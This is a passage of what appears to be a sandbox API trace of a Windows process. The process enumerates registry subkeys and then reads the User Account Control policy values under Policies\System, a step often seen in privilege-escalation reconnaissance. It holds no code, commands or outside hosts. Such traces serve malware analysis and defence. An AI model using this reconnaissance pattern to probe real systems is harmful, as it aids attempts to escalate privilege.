lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0180.246] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x49b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.246] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0180.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x49b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x49c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0180.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x49b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0180.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x49b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0180.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x49b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ext", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ext", lpUsedDefaultChar=0x0) returned 3 [0180.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x49b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gameux", cchWideChar=6, lpMultiByteStr=0x49c0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gameux", lpUsedDefaultChar=0x0) returned 6 [0180.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x49b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.247] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="group policy", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="group policy", lpUsedDefaultChar=0x0) returned 12 [0180.247] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x49b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0180.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x49b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0180.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x49b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0180.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x49b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0180.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x49b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0180.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x49b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x49c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0180.248] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x49b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0180.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0180.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x49b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0180.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x49b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0180.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x49b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0180.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x49b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0180.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x49b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0180.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x49b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x49c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0180.249] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x49b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0180.249] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0180.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x49b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x49c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0180.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x49b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0180.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x49b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x49c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0180.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x49b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0180.250] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x49b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0180.250] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x22f778 | out: phkResult=0x22f778*=0xa0) returned 0x0 [0180.250] RegCloseKey (hKey=0x24) returned 0x0 [0180.250] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0180.250] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0180.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0180.251] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0180.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0180.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0180.251] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x49b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0180.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0180.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x49c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0180.251] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x49b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0180.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0180.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x49c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0180.251] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x49b930, cchName=0x104 | out: lpName="System") returned 0x0 [0180.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0180.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x49c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0180.251] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x22f778 | out: phkResult=0x22f778*=0x24) returned 0x0 [0180.251] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b930) returned 1 [0180.251] RegCloseKey (hKey=0xa0) returned 0x0 [0180.251] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49b860) returned 1 [0180.251] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.252] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0180.253] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x22f684, lpcchValueName=0x22f680, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x22f680, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 